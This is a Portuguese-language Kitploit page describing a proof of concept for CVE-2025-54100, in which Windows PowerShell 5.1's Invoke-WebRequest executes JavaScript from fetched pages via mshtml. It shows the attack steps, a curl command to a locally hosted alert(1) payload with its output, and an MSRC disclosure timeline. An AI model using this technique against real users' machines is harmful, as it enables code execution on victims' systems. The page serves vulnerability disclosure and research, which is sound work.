Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-54100 — Prova de conceito para CVE-2025-54100: XSS no Invoke-WebRequest do PowerShell via mshtml.HTMLDocumentClass, permitindo execução remota de código ao acessar JavaScript malicioso. | Kitploit
Ferramentas/GitHubGitHub/osman1337-security/cve-2025-54100
Análise de VulnerabilidadesExploraçãoSegurança WebComando e ControleFerramenta de Acesso Remoto
GitHubosman1337-security/cve-2025-54100

CVE-2025-54100

Prova de conceito para CVE-2025-54100: XSS no Invoke-WebRequest do PowerShell via mshtml.HTMLDocumentClass, permitindo execução remota de código ao acessar JavaScript malicioso.

Ver Repositório
23549há 8 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-54100

O curl do Powershell usa Invoke-WebRequest internamente.

root@kitploit:~
PS C:\Users\melih> curl

cmdlet Invoke-WebRequest at command pipeline position 1
Supply values for the following parameters:
Uri:

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.5

Observando a documentação do parâmetro UseBasicParsing,

Este parâmetro foi preterido. A partir do PowerShell 6.0.0, todas as solicitações da Web usam apenas análise básica. Este parâmetro é incluído apenas para compatibilidade reversa e qualquer uso dele não tem efeito na operação do cmdlet.

O problema está em UseBasicParsing do cmdlet Invoke-WebRequest do Powershell. UseBasicParsing usa análise básica, não avalia nenhum código javascript. Ele apenas lê o texto e o analisa.

Se este parâmetro não for fornecido, o Invoke-WebRequest inicia o Internet Explorer por baixo e tenta analisar o código html avaliando-o de fato, usando mshtml.HTMLDocumentClass. Fazer uma solicitação curl para um site que hospeda um código javascript resulta na execução de código no navegador do cliente, que é o terminal do Windows no nosso caso.

A documentação do mshtml.HTMLDocumentClass pode ser encontrada abaixo.

https://learn.microsoft.com/en-us/dotnet/api/system.windows.forms.htmldocument

Observando o ciclo de vida do primeiro documento acima, podemos ver que,

Windows PowerShell 5.1 Ago-2016 Lançado na Atualização de Aniversário do Windows 10 e no Windows Server 2016, WMF 5.1 PowerShell 6.0 20-Jan-2018 13-Fev-2019 Construído no .NET Core 2.0 (https://github.com/dotnet/core/blob/main/release-notes/2.0/2.0-supported-os.md)

Após alguma investigação, notamos que as versões mais recentes do Windows 11, Server 22 e 25 são fornecidas com uma versão antiga do Powershell (5.1 e é o padrão), que é vulnerável a ataques de XSS.

Instalação limpa do Windows Server 22, alt text

PoC

O ataque é muito simples;

  • Hospede um site com um payload de script.
  • Faça um curl para ele e você verá a execução

alt text

root@kitploit:~
PS C:\Users\melih> curl 172.27.223.167:8000/a.js


StatusCode        : 200
StatusDescription : OK
Content           : <script>alert(1)</script>

RawContent        : HTTP/1.0 200 OK
                    Content-Length: 26
                    Content-Type: text/javascript
                    Date: Tue, 09 Dec 2025 15:50:40 GMT
                    Last-Modified: Tue, 09 Dec 2025 15:47:18 GMT
                    Server: SimpleHTTP/0.6 Python/3.12.3

                    <script>a...
Forms             : {}
Headers           : {[Content-Length, 26], [Content-Type, text/javascript], [Date, Tue, 09 Dec
                    2025 15:50:40 GMT], [Last-Modified, Tue, 09 Dec 2025 15:47:18 GMT]...}
Images            : {}
InputFields       : {}
Links             : {}
ParsedHtml        : mshtml.HTMLDocumentClass
RawContentLength  : 26


Você pode ser criativo e realizar coisas como open("about:blank").

alt text

Deve-se considerar também que isso pode ser usado em cadeias maiores, como exploits de navegador, para obter uma execução confiável ou forçar a renderização do navegador.

Linha do tempo das atualizações do MSRC

  • 15 Out 2025 – A vulnerabilidade foi submetida à equipe de Segurança da Microsoft via MSRC.
  • 16 Out 2025 – A equipe nos informou que começou a revisar o relatório.
  • 17 Nov 2025 – A equipe confirmou a vulnerabilidade e nos informou que iria corrigi-la. A mensagem completa da equipe do MSRC: “Confirmamos o comportamento que você relatou. Continuaremos nossa investigação e determinaremos como resolver este problema. Por favor, deixe-me saber se você tiver informações adicionais que possam ajudar nossa investigação, ou se tiver perguntas.”
  • 25 de novembro de 2025 - O relatório foi classificado como Severity: Important, Security Impact: Remote Code Execution e recebeu uma recompensa de $5,000.

alt text

Baixar ferramenta